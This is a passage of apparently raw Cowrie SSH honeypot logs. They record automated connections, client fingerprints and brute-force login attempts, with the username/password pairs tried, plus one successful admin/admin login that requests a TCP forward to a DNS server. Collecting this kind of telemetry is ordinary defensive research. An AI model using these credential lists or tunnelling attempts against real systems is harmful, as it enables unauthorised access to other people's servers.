f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:20.418542Z","src_ip":"43.228.112.254","session":"0e0f581daeff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viral123","message":"login attempt [root/viral123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:21.285782Z","src_ip":"43.228.112.254","session":"0e0f581daeff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:22.497301Z","src_ip":"43.228.112.254","session":"0e0f581daeff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":9205,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebce9fc3c69c","protocol":"ssh","message":"New connection: 2.57.121.25:9205 (159.203.135.109:22) [session: ebce9fc3c69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:30.500983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:30.505571Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:30.609892Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15051977","message":"login attempt [user/15051977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:31.098888Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"15021972","message":"login attempt [user/15021972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:32.206372Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1478520","message":"login attempt [user/1478520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:33.314489Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"145632","message":"login attempt [user/145632] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:34.421297Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14111981","message":"login attempt [user/14111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:35.528697Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:36.635770Z","src_ip":"2.57.121.25","session":"ebce9fc3c69c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":59104,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b50fd987b1","protocol":"ssh","message":"New connection: 43.156.136.152:59104 (10.17.0.5:22) [session: 27b50fd987b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:41.123612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:41.129032Z","src_ip":"43.156.136.152","session":"27b50fd987b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:41.367535Z","src_ip":"43.156.136.152","session":"27b50fd987b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sector7g","message":"login attempt [root/sector7g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:42.352533Z","src_ip":"43.156.136.152","session":"27b50fd987b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:43.598563Z","src_ip":"43.156.136.152","session":"27b50fd987b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":19952,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b6c48f7eec","protocol":"ssh","message":"New connection: 87.251.64.176:19952 (10.17.0.5:22) [session: 74b6c48f7eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:54.230257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:54.234318Z","src_ip":"87.251.64.176","session":"74b6c48f7eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:54.330816Z","src_ip":"87.251.64.176","session":"74b6c48f7eec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:54.619756Z","src_ip":"87.251.64.176","session":"74b6c48f7eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:54.718778Z","session":"74b6c48f7eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:54.817297Z","src_ip":"87.251.64.176","session":"74b6c48f7eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:36:54.916995Z","src_ip":"87.251.64.176","session":"74b6c48f7eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48218,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ae7c9957bd","protocol":"ssh","message":"New connection: 37.143.61.84:48218 (10.17.0.5:22) [session: 35ae7c9957bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:13.190611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:13.196018Z","src_ip":"37.143.61.84","session":"35ae7c9957bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:13.292518Z","src_ip":"37.143.61.84","session":"35ae7c9957bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"glen123","message":"login attempt [root/glen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:13.804666Z","src_ip":"37.143.61.84","session":"35ae7c9957bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:14.902965Z","src_ip":"37.143.61.84","session":"35ae7c9957bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":38780,"dst_ip":"10.17.0.5","dst_port":22,"session":"25e619597a7e","protocol":"ssh","message":"New connection: 192.169.243.246:38780 (10.17.0.5:22) [session: 25e619597a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:15.264040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:15.269344Z","src_ip":"192.169.243.246","session":"25e619597a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:15.343954Z","src_ip":"192.169.243.246","session":"25e619597a7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:15.663474Z","src_ip":"192.169.243.246","session":"25e619597a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:16.740259Z","src_ip":"192.169.243.246","session":"25e619597a7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41642,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd04665c133d","protocol":"ssh","message":"New connection: 193.32.162.151:41642 (159.203.135.109:22) [session: cd04665c133d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:18.763340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:18.769475Z","src_ip":"193.32.162.151","session":"cd04665c133d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:18.878465Z","src_ip":"193.32.162.151","session":"cd04665c133d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"epsuser","password":"epsuser@123","message":"login attempt [epsuser/epsuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:19.198936Z","src_ip":"193.32.162.151","session":"cd04665c133d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:20.306789Z","src_ip":"193.32.162.151","session":"cd04665c133d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":48038,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ccb7febaed2","protocol":"ssh","message":"New connection: 43.228.112.254:48038 (10.17.0.5:22) [session: 6ccb7febaed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:41.067771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:41.073194Z","src_ip":"43.228.112.254","session":"6ccb7febaed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:41.278416Z","src_ip":"43.228.112.254","session":"6ccb7febaed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx#EDC","message":"login attempt [root/1qaz2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:42.129569Z","src_ip":"43.228.112.254","session":"6ccb7febaed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:37:43.338788Z","src_ip":"43.228.112.254","session":"6ccb7febaed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52028,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecd9b8676cfd","protocol":"ssh","message":"New connection: 103.27.238.120:52028 (10.17.0.5:22) [session: ecd9b8676cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:02.526834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:38:02.539007Z","src_ip":"103.27.238.120","session":"ecd9b8676cfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecds